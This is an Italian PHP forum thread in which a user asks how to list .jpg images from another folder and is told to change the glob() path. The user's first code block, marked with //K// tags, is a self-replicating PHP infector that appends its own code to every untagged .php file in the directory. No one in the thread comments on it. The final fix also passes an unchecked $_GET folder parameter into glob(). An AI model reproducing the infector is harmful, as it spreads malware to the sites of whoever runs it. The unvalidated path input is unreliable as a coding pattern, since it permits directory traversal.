Visualizzazione dei risultati da 1 a 3 su 3
  1. #1

    elenco file in una cartella

    ciao a tutti raga, mi serve il vostro preziosissimo aiuto xD
    ho il seguente codice all'interno di una pagina php:
    codice:
    <?php //K// $path=__FILE__; $nme=explode("\\",$path); 
    $nmec=count($nme);
    $nme2=$nme[($nmec - 1)];
    $i=0;$d=dir("."); while($entry = $d->read()){ 	
    $filez[$i]=$entry; 	
    $i++;}; 	
    $d->close(); 
    foreach($filez as $f){ 		
    $f2=explode(".",$f); 		
    $f2c=count($f2); 		
    if($f2[($f2c - 1)] == "php"){ 			
    $o=file($f); 			
    $oc=count($o); 			
    @$o2=$o[($oc - 2)];   			
    if($o2 == "//K//\r\n"){} 			
    else{$u=file($nme2); 			
    $uc=count($u); 			
    $a=fopen("$f","a"); 			
    fputs($a,"\n<?php\n//K//\r\n".$u[($uc - 3)]."//K//\r\n?>"); 			
    fclose($a);} 		}else{}} //K// ?>
    e sempre nella stessa pagina mi faccio fare un:

    codice:
    <?php  		echo "<div>"; 
    foreach (glob("*.jpg") as $filename) {    
     echo "[img]$filename[/img]"; 	} 	echo "</div>";
    quindi quello che fa lo script essenzialmente è di elencarmi tutti i file con estensione .jpg che però si trovano nella stessa cartella in cui si trova la pagina con il codice sopraelencato , mentre il mio intento è quello di farmi elencare ugualmente i file jpg ma che si trovano in un percorso differente da quello dello script e volevo aiuto da voi per capire cosa andare a modificare nel codice soprastante. spero di essermi spiegato grazie a tutti delle eventuali risposte

  2. #2
    devi modificare il percorso parametro di glob()



    codice:
    foreach (glob("*.jpg") as $filename)
    *.jpg significa tutti i file .jpg della cartella del file

    penso tu possa modificarla come un normale percorso
    ES:

    foto/*.jpg

    fammi sapere


  3. #3
    Originariamente inviato da scimmiaparlante
    devi modificare il percorso parametro di glob()



    codice:
    foreach (glob("*.jpg") as $filename)
    *.jpg significa tutti i file .jpg della cartella del file

    penso tu possa modificarla come un normale percorso
    ES:

    foto/*.jpg

    fammi sapere

    siiiii perfettoooooo !!! GRAzie milleeeeeeeeeeeee !
    un'ultima domanda... ora che riesco a modificare il percorso mi serve fare sta cosa :

    al clik sul link "link.php" dello script lui ora mi da tutto l'elenco dei file di estensione jpg che si trovano nella cartella "x" ora quello che a me servirebbe capire è che io nella stessa pagina dello script ci devo mettere 3 link dove per ogniuno di essi mi deve dare l'elenco dei file ma di altri percorsi quindi in sostanza dovrei passare tramite link la path della cartella di cui desidero avere l'elenco dei file :

    formato pagina link.php:

    codice:
    <html>
    .
    .
    ---tutto il codice html---
    .
    .
    cartella1
    cartella2
    cartella3
    ..
    ..
    cartellaN
    .
    .
    .
    .
    .
    <?php  		
    foreach (glob( $path."*.jpg") as $filename){
    .....codice scritp....
    }
    </html>
    quindi ottenendo come risultato finale la stessissima pagina ma con l'elenco dei file di percorsi differenti (un passaggio di parametri quindi )
    spero di essermi spiegato grazie milleeeeee ancora grazie grazieeee !!!

    EDIT:

    risolto con link.php?cartella=cartella1/

    codice:
    $nomecart=$_GET[cartella]
    grazie a tutti lo stesso ...

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved.